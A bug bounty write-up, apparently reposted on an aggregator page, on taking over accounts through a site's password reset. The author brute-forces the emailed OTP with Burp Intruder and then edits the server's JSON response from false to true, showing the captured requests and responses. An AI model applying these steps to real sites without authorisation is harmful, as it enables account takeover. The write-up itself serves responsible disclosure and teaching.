OTP Bruteforce Chained with Response Manipulation Leads to Zero Click Account Takeover

1 week ago 17
BOOK THIS SPACE FOR AD
ARTICLE AD

cyberpro151

Hey there! It’s cyberpro151 back with another PoC writeup for y’all.

In today’s article, I’ll be sharing about an account takeover on a target which I found by chaining OTP bruteforce along with response manipulation so let’s get started.

So while testing that target, I was testing my favourite functionality which was password reset functionality and the normal flow of this functionality was that for resetting your password, you first need to visit, https://redacted.com/forgot-password , then there will be an email field where you have to type your email and click on the button labelled “SEND VERIFICATION CODE”, a code will be sent to your email. You’ll enter the code and bingo! You’ll be redirected to the page where you can enter your new password and reset the password. Hmmm! Seems interesting.

I quickly thought about testing the functionality so I again visited to https://redacted.com/forgot-password and entered my email which for the sake of demonstration, I will say victim@gmail.com throughout this article.

After entering my email “victim@gmail.com”, I clicked on “SEND VERIFICATION CODE” due to which an email was sent on my account which looked something like following:

Verification code sent on my email

I entered the wrong code and thought about bruteforcing the OTP so for that purpose, the code that I entered was 133770 because I thought about bruteforcing 100 times.

After entering the code, I simply clicked on “Verify Code” button and captured the request. The request looked something like following:

POST /api/redacteduser/forgot-password/verify-code HTTP/1.1
Host: redacted.com
Cookie: Redacted-Sid=944A37714BED3558A2787D1BA74569B7E4AD87C8E6BA76CF81E5A230C8C2ED14; Redacted-Csrf=DAAC500DB46BB7891A0628798B9AC12F
Content-Length: 113
Sec-Ch-Ua: "Brave";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
X-Csrf-Token: DAAC500DB46BB7891A0628798B9AC12F
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Gpc: 1
Accept-Language: en-US,en;q=0.9
Origin: https://redacted.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://redacted.com/forgot-password
Accept-Encoding: gzip, deflate
Connection: close

{"email":"attacker@gmail.com","code":"133770","emailVerificationId":"0ac6e7b7b51f4e21a3e8893f1585c258"}

I simply sent this request to “Intruder” and under “Positions” section, I clicked on “Clear” button on right side and then after selecting the value of code parameter “133770”, I clicked on “Add” button on the right side. Then I clicked on “Payloads” tab and under “Payloads type” option, I clicked on “Numbers” option. Now within the options of “Payload settings”, in front of a field labelled “From” , I typed 133770 and in front of a field labelled “To”, I typed 133870. Similarly, in front of field labelled “Step”, I typed 1 and then clicked on “Start attack” button present on the top right corner.

Now the thing that I noticed was that 99 requests had a length of 989 but that one request with the valid verification code had a length of 988 as it can be seen in the picture below:

Now when I looked at the response of the last request with valid code, it looked something like following:

HTTP/2 200 OK
Content-Type: application/json
Content-Length: 74
Date: Wed, 17 Apr 2024 14:34:33 GMT
X-Amzn-Requestid: fdbe88ad-d722-4495-a0f8-71b6efb1d5e4
Referrer-Policy: no-referrer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Amzn-Remapped-Content-Length: 74
X-Frame-Options: deny
Content-Security-Policy: default-src 'none';
X-Amz-Apigw-Id: WX-fAF8QIAMEjIg=
Cache-Control: private, no-cache, no-store, max-age=0
X-Content-Type-Options: nosniff
X-Amzn-Trace-Id: Root=1-661fddf9-045f44c83c1eb28507198fab;Parent=314c5892156a66a8;Sampled=0;lineage=08610e2e:0
Via: 1.1 0fa3b62de49c01129844acc24e390b56.cloudfront.net (CloudFront), 1.1 884565e44bd03047bbadc5b86c50509c.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: SIN52-C3
X-Cache: Miss from cloudfront
X-Amz-Cf-Pop: SIN5-C1
X-Amz-Cf-Id: NhGn4OjOKKdhhpOWsCfIiXBRjybpL0RkEnpkFHlVTV_hVbEiLBQm9g==

{"emailVerificationId":"0ac6e7b7b51f4e21a3e8893f1585c258","success":true}

Sweet! the value of success parameter as “true” depicted that everything is going great so far.

Now I simply navigated to the Proxy tab where my initial request with invalid code was present and after right clicking on the request, I hovered on option “Do intercept” and clicked on “Response to this request” and after that, I forwarded the request. The response looked like following:

HTTP/2 200 OK
Content-Type: application/json
Content-Length: 75
Date: Wed, 17 Apr 2024 14:49:59 GMT
X-Amzn-Requestid: 940a9f7a-5cce-43db-a1d6-fb940be98aef
Referrer-Policy: no-referrer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Amzn-Remapped-Content-Length: 75
X-Frame-Options: deny
Content-Security-Policy: default-src 'none';
X-Amz-Apigw-Id: WYAvtEJCIAMEpeQ=
Cache-Control: private, no-cache, no-store, max-age=0
X-Content-Type-Options: nosniff
X-Amzn-Trace-Id: Root=1-661fe197-74ce60134c0a4d1d5d232b83;Parent=5ebc8c67950f38c8;Sampled=0;lineage=08610e2e:0
Via: 1.1 d0df64d562de4c38403b4237a12e579a.cloudfront.net (CloudFront), 1.1 14193a789201b44415bebb86f9e5fe9c.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: SIN52-C3
X-Cache: Miss from cloudfront
X-Amz-Cf-Pop: SIN5-C1
X-Amz-Cf-Id: IALASeeecDZ98UuebRTIwxxfpa5lnDBIwh-zB6gJYF36ixg7KatWNw==

{"emailVerificationId":"0ac6e7b7b51f4e21a3e8893f1585c258","success":false}

I simply changed the value of success parameter from false to true and forwarded the response and Bingo! I was displayed with the page where I can enter my new password.

I quickly typed new password and saved it and Bingo! A successful account takeover found. Now I reported this vulnerability and within a few days, it was accepted with as a P2.

Submission got accepted

Tip: First try to understand the flow of a specific functionality and then start testing it.

Read Entire Article